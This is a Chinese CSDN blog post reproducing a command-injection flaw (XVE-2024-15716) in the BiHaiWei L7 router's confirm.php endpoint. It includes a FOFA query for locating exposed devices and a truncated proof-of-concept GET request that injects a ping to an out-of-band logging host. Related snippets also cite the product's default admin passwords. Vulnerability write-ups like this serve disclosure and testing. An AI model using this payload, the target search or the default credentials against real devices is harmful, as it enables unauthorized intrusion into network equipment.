碧海威L7云路由无线运营版 confirm.php/jumper.php 命令注入漏洞复现(XVE-2024-15716)

已于 2024-06-27 14:16:35 修改
阅读量553 收藏
点赞数 4
分类专栏： 漏洞复现 文章标签： web安全 安全
于 2024-06-27 14:16:26 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41904294/article/details/140011194
版权

0x01 产品简介

碧海威L7网络设备是 北京智慧云巅科技有限公司下的产品，基于国产化ARM硬件平台，采用软硬一体协同设计方案，释放出产品最大效能，具有高性能，高扩展，产品性能强劲，具备万兆吞吐能力，支持上万用户同时在线等高性能。其采用简单清晰的可视化WEB管理界面，支持最新HTML5，方便移动设备访问管理，分级别多层次管理模块，使用简单，维护方便;设备状况、网络流量一目了然，一键备份/恢复，让网络管理更简单。是为酒店、度假村、商场和车站等商用无线管理者独身订造的专用网络设备，具备路由、防火墙、流控、无线AC控制器、微信认证等多项功能。

0x02 漏洞概述

碧海威L7 confirm.php、jumper.php接口处存在RCE漏洞，恶意攻击者可能利用此漏洞执行恶意命令，获取服务器敏感信息，最终可能导致服务器失陷。

0x03 影响范围

碧海威科技-L7

0x04 复现环境

FOFA：app="碧海威科技-L7云路由"

0x05 漏洞复现

PoC-1

GET /notice/confirm.php?t=;ping%20fwvjytharz.dgrh3.cn HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*
User-Agent: Mozilla/5.0 (Windows NT
了解本专栏 订阅专栏 解锁全文 超级会员免费看
0xSecl
关注
  • 4
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
【漏洞复现】碧海威L7多款网络产品后台命令执行漏洞
晚风不及你
01-31 734
碧海威L7网络产品是为酒店、度假村、商场和车站等商用无线管理者独身订造的专用网络设备。设备具备路由、防火墙、流控、无线AC控制器、微信认证等多项功能。
【漏洞复现】碧海威L7云路由无线运营版 confirm.php命令注入漏洞复现(XVE-2024-15716)
siu~
06-27 462
碧海威L7 confirm.php接口处存在RCE漏洞，恶意攻击者可能利用此漏洞执行恶意命令，获取服务器敏感信息，最终可能导致服务器失陷。
碧海威 L7多款产品 后台命令执行漏洞
千寻的博客
05-14 1037
文章目录漏洞名称漏洞描述影响版本fofa漏洞步骤摘抄 漏洞名称 碧海威 L7多款产品 后台命令执行漏洞 漏洞描述 碧海威 L7多款产品存在 后台命令执行漏洞， 攻击者通过账号密码登录后台后(默认密码为 adimn/admin or admin123) 通过命令拼接造成命令注入(漏洞存在于 命令控制台中，其中存在命令注入) 影响版本 碧海威 L7多款产品 fofa “碧海威” 漏洞步骤 第一步 访问主页 第二步是要默认登录 默认密码为 adimn/admin or admin123 第三步
python安装pip install报错Could not fetch URL https://pypi.org/simple/pip/: There was a problem confirm
热门推荐
SevenBerry的博客
11-01 5万+
pycharm使用 pip install xxx安装包时，一直报错： WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=No ne)) after connection broken by 'SSLError(SSLEOFError(8, 'EOF occurred in violation of protocol (_ssl.c:1123)'))': /simple/flask/ WARN.
jquery-confirm.rar
08-22
`jquery-confirm`是一款基于jQuery的弹出对话框插件，它提供了丰富的自定义选项和功能，使得在网页中创建美观且功能多样的确认、警告、信息提示框变得简单易行。这款插件的设计理念是替代浏览器原生的`alert`, `...
newsina.rar_confirm_用户注册 php
09-19
新浪网 用户注册页面改版 新浪网最近希望进行用户注册页面的改版。主要要求如下：在用户注册表单中添加用户头像上传的文件域。在用户点击提交按钮之后在新的页面显示用户输入的数据及用户上传的头像，以便用户确认...
ubuntu22.04下利用gcc-4.7编译的qt4.7.1库
03-16
./configure -prefix /usr/local/qt4.7.1 -xplatform linux-g++-4.7 -qt-gcc -no-pch -openssl-linked -confirm-license ``` - 运行`make`进行编译，这可能需要一些时间： ``` make -j4 ``` - 最后，用`sudo`...
line-example-bot-tiny-php：Line Bot基础范例程序代码教学（PHP）-轻量版LINEBotTiny.php
01-29
Line Bot基础范例程式码教学（PHP）-轻量版LINEBotTiny.php 在开始之前，可以先加范例机器人！（ ） 范例指令 > text或文字 > image或圖片 > video或視頻或影片 > audio或音頻或音樂 > location或地址或位置 >...
elementUI vue this.$confirm 和el-dialog 弹出框 移动 示例demo
10-16
主要介绍了elementUI vue this.$confirm 和el-dialog 弹出框 移动 示例demo，本文通过实例代码给大家介绍的非常详细，具有一定的参考借鉴价值,需要的朋友可以参考下
网络安全测评技术与标准
weixin_48579910的博客
07-06 1329
网络安全测评通过多种方法和工具对系统、网络和应用程序进行全面评估，以发现和修复潜在的安全漏洞，确保其符合安全标准和政策。结合渗透测试、漏洞扫描、安全审计、风险评估、合规性测试、代码审查、社会工程测试、配置评估和基准测试等多种类型的测评，组织可以全面提升其网络安全防护能力，保护其信息资产和业务连续性。网络安全测评流程包括准备阶段、信息收集阶段、漏洞扫描阶段、渗透测试阶段、安全审计阶段、风险评估阶段、报告阶段、修复和验证阶段以及持续监控和改进阶段。
中职网络安全B模块Cenots6.8数据库
最新发布
网络安全技术分享
07-09 886
密码：root）， 进入 mysql 数据库，查看所有用户及权限，找到可以从任意 IP 地址访问的 用户，将该用户的用户名作为 flag 提交；密码：root）， 进入 mysql 数据库，改变默认 mysql 管理员的名称，将系统的默认管理员 root 改为 admin，防止被列举，将操作命令作为 flag 提交。密码：root）， 进入 mysql 数据库，查看所有用户及权限，找到可以从任意 IP 地址访问的 用户，使用 drop 命令将该用户删除，将操作命令作为 flag 提交。
中职网络安全Server2216
网络安全技术分享
07-09 1029
黑客通过网络攻入本地服务器，通过特殊手段在系统中建立了多个异常进程，将恶意脚本的源文件所在的绝对路径作为Flag值提交;黑客在服务器某处存放了多个木马程序，请你找到此木马程序并清除木马，将木马建立连接所使用的端口号作为。只显示文件头和文件尾，因为文件头记录了开始，文件尾部记录了结束的最后一次攻击，所以筛选头和尾。黑客攻入本地服务器，请你找出黑客成功暴力破解服务器的具体时间，将暴力破解的时间范围作为。通过题目寻找异常脚本，脚本一般需要定时执行权限，所以进入定时任务目录查看定时任务。
中职网络安全wire0077数据包分析
网络安全技术分享
07-09 725
SMTPDESKTOP-M1JC4XX_2020_09_24_22_43_12.zipDESKTOP-M1JC4XX_2020_09_24_23_02_08.jpeg24 Sep 2020 23:02:09 +0000WorkingFoler-Shortcut
【网络安全】实验七（ISA防火墙的规则设置）
Elena's Blog
07-07 1078
（1）将host1的IP地址设置为172.16.学号.学号（2）将host2的IP地址设置为172.16.学号.1学号（3）将防火墙的内网IP地址设置为172.16.学号.250，IP地址设置为192.168.17.1学号（4）在防火墙上配置路由功能，并使内、外网之间能互相PING通（1）（2）（3）（4）
网络安全（黑客）自学
白帽子凯哥聊黑客
07-02 1155
网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如 Web 安全技术，既有 Web 渗透，也有 Web 防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。
中职网络安全B模块渗透测试server2003
网络安全技术分享
07-09 799
将sam.hive和system.hive文件复制到win7的c盘根目录然后使用mimikatz工具提取。使用nmap扫描发现目标靶机开放端口232疑似telnet直接进行连接测试成功。
中职网络安全B模块渗透测试system0016
网络安全技术分享
07-09 667
我们上传的文件名为1.png保存的路径为/uploads/1.php%00 接着我哦们鼠标选中%%00右键选择Convert selection >URL>URL-docode进行解码，因为这里我们要输入不可见字符，而可见字符是不能输入的，由于不可见字符00的url编码为%00，因此我们需要%00进行一个解码，就是一个不可见字符了。我们需要查看访问过程的是web2并不是web2/idnex.html，index是加载之后的所以查看web2的访问过程发现了flag。题目的意思是网页的访问过程中有猫腻。
中职网络安全B模块渗透测试server2380
网络安全技术分享
07-09 433
那么我们自行创建一个user和passwd的简易字典进行跑取密码 跑到了（此步骤可省略）scp 用户名@靶机ip/:图片路径 本地存放路径。进行登录uname -a。
Intel MKL FATAL ERROR: Cannot load /opt/anaconda3/lib/python3.10/site-packages/mkl/../../../libmkl_rt.so.1
08-17
The error message you encountered indicates that there is an issue loading the Intel Math Kernel Library (MKL) dynamic library file `libmkl_rt.so.1` in your Python environment. This error can occur due to various reasons, such as incorrect installation or configuration issues. Here are a few steps you can try to resolve the issue: 1. Check MKL Installation: Ensure that Intel MKL is properly installed on your system. You can visit the official Intel website and follow the instructions to download and install the MKL library for your operating system. 2. Verify Library Path: Confirm that the library path specified in the error message (`/opt/anaconda3/lib/python3.10/site-packages/mkl/../../../libmkl_rt.so.1`) is correct. It should point to the location of the `libmkl_rt.so.1` file on your system. Make sure the file exists at that location. 3. Update LD_LIBRARY_PATH: Set the `LD_LIBRARY_PATH` environment variable to include the directory where the `libmkl_rt.so.1` file is located. You can do this by running the following command before executing your Python script: ``` export LD_LIBRARY_PATH=/path/to/mkl:$LD_LIBRARY_PATH ``` Replace `/path/to/mkl` with the actual directory path containing the `libmkl_rt.so.1` file. 4. Conda Environment Activation: If you are using Anaconda or Miniconda, try activating your conda environment before running the Python script. This ensures that the correct MKL libraries associated with your environment are loaded. 5. Reinstall Libraries: If the above steps do not resolve the issue, you can try reinstalling the relevant libraries, including NumPy, MKL, and any other packages that depend on them. You can use the following commands: ``` conda uninstall numpy mkl conda install numpy mkl ``` This will uninstall and then reinstall the NumPy and MKL libraries using conda. If the issue still persists after trying these steps, it would be helpful to provide more information about your system configuration, the specific steps you followed during the installation, and any additional error messages or traceback information you received.

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xSecl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值